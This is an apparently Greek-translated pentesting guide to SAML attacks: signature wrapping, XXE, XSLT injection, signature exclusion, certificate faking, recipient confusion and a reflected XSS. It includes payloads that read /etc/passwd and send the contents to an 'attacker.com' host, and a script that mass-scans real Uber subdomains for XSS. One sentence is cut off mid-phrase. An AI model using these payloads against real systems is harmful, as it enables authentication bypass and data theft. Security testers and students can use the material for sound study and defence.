SAML Attacks

SAML Attacks

Basic Information

Tool

SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML.

XML round-trip

Στο XML, το υπογεγραμμένο μέρος του XML αποθηκεύεται στη μνήμη, στη συνέχεια εκτελείται κάποια κωδικοποίηση/αποκωδικοποίηση και ελέγχεται η υπογραφή. Ιδανικά, αυτή η κωδικοποίηση/αποκωδικοποίηση δεν θα έπρεπε να αλλάξει τα δεδομένα, αλλά με βάση αυτό το σενάριο, τα δεδομένα που ελέγχονται και τα αρχικά δεδομένα μπορεί να μην είναι τα ίδια.

Για παράδειγμα, ελέγξτε τον παρακάτω κώδικα:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Η εκτέλεση του προγράμματος κατά του REXML 3.2.4 ή παλαιότερης έκδοσης θα είχε ως αποτέλεσμα την εξής έξοδο αντί για αυτήν:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/

• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: επικύρωση υπογραφής και κλήση λειτουργίας. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος εισάγει πλαστά στοιχεία που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη λογική εφαρμογής και εκείνων που ελέγχονται από το module επαλήθευσης υπογραφής. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα παράνομα στοιχεία. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την προστασία ακεραιότητας και αυθεντικότητας προέλευσης της XML υπογραφής, επιτρέποντας την εισαγωγή αυθαίρετου περιεχομένου χωρίς ανίχνευση.

Οι παρακάτω επιθέσεις βασίζονται σε αυτή την ανάρτηση στο blog και αυτή την εργασία. Έτσι, ελέγξτε αυτές για περισσότερες λεπτομέρειες.

XSW #1

• Strategy: Ένα νέο ριζικό στοιχείο που περιέχει την υπογραφή προστίθεται.

• Implication: Ο επικυρωτής μπορεί να μπερδευτεί μεταξύ του νόμιμου "Response -> Assertion -> Subject" και του "κακού νέου Response -> Assertion -> Subject" του επιτιθέμενου, οδηγώντας σε ζητήματα ακεραιότητας δεδομένων.

XSW #2

• Difference from XSW #1: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή.

• Implication: Η "κακή" δομή, παρόμοια με την XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας.

XSW #3

• Strategy: Δημιουργείται μια κακή Assertion στο ίδιο ιεραρχικό επίπεδο με την αρχική assertion.

• Implication: Σκοπεύει να μπερδέψει τη λογική επιχείρησης να χρησιμοποιήσει τα κακόβουλα δεδομένα.

XSW #4

• Difference from XSW #3: Η αρχική Assertion γίνεται παιδί της διπλασιασμένης (κακής) Assertion.

• Implication: Παρόμοια με την XSW #3 αλλά τροποποιεί τη δομή XML πιο επιθετικά.

XSW #5

• Unique Aspect: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη).

• Implication: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη δομή του αναμενόμενου εγγράφου.

XSW #6

• Strategy: Παρόμοια εισαγωγή τοποθεσίας όπως η XSW #4 και #5, αλλά με μια ανατροπή.

• Implication: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, η οποία στη συνέχεια περιβάλλει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.

XSW #7

• Strategy: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί.

• Implication: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα κατά της επικύρωσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.

XSW #8

• Difference from XSW #7: Χρησιμοποιεί ένα άλλο λιγότερο περιοριστικό XML στοιχείο για μια παραλλαγή της επίθεσης.

• Implication: Η αρχική Assertion γίνεται παιδί του λιγότερο περιοριστικού στοιχείου, αναστρέφοντας τη δομή που χρησιμοποιήθηκε στην XSW #7.

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

XXE

If you don't know which kind of attacks are XXE, please read the following page:

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε:

Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.

Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Η XML Signature Exclusion παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, η επικύρωση υπογραφής μπορεί να μην συμβαίνει, καθιστώντας το ευάλωτο. Είναι δυνατόν να το δοκιμάσετε αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider. Παρεμβάλετε την SAML Response και κάντε κλικ στο Remove Signatures. Με αυτόν τον τρόπο όλα τα στοιχεία Signature αφαιρούνται.

Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία

Certificate Faking

Certificate Faking

Το Certificate Faking είναι μια τεχνική για να δοκιμάσετε αν ένας Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο από έναν αξιόπιστο Identity Provider (IdP). Περιλαμβάνει τη χρήση ενός *self-signed certificate για να υπογράψει την SAML Response ή Assertion, που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.

How to Conduct Certificate Faking

Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp SAML Raider:

1. Παρεμβάλετε την SAML Response.

2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί Send Certificate to SAML Raider Certs.

3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο Save and Self-Sign για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού.

4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στο Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.

5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί Remove Signatures.

6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το (Re-)Sign Message ή (Re-)Sign Assertion κουμπί, όπως απαιτείται.

7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδεικνύει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.

Token Recipient Confusion / Service Provider Target Confusion

Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο αν ο Service Provider επικυρώνει σωστά τον προορισμό ενός response. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Recipient, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προορισμένο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.

How It Works

Για να είναι εφικτή μια επίθεση Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.

Η διαδικασία επίθεσης είναι απλή υπό αυτές τις προϋποθέσεις. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS στη λειτουργία Αποσύνδεσης

Η αρχική έρευνα μπορεί να προσπελαστεί μέσω αυτού του συνδέσμου.

Κατά τη διαδικασία της βίαιης αναγκαστικής πρόσβασης σε καταλόγους, ανακαλύφθηκε μια σελίδα αποσύνδεσης στη:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, πραγματοποιήθηκε ανακατεύθυνση προς:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Αυτό αποκάλυψε ότι η παράμετρος base δέχεται μια διεύθυνση URL. Λαμβάνοντας αυτό υπόψη, προέκυψε η ιδέα να αντικατασταθεί η διεύθυνση URL με javascript:alert(123); σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).

Μαζική Εκμετάλλευση

Από αυτή την έρευνα:

Το εργαλείο SAMLExtractor χρησιμοποιήθηκε για να αναλύσει υποτομείς του uberinternal.com για τομείς που χρησιμοποιούν την ίδια βιβλιοθήκη. Στη συνέχεια, αναπτύχθηκε ένα σενάριο για να στοχεύσει τη σελίδα oidauth/prompt. Αυτό το σενάριο δοκιμάζει για XSS (Cross-Site Scripting) εισάγοντας δεδομένα και ελέγχοντας αν αυτά ανακλώνται στην έξοδο. Σε περιπτώσεις όπου η είσοδος ανακλάται πράγματι, το σενάριο σηματοδοτεί τη σελίδα ως ευάλωτη.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Αναφορές

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/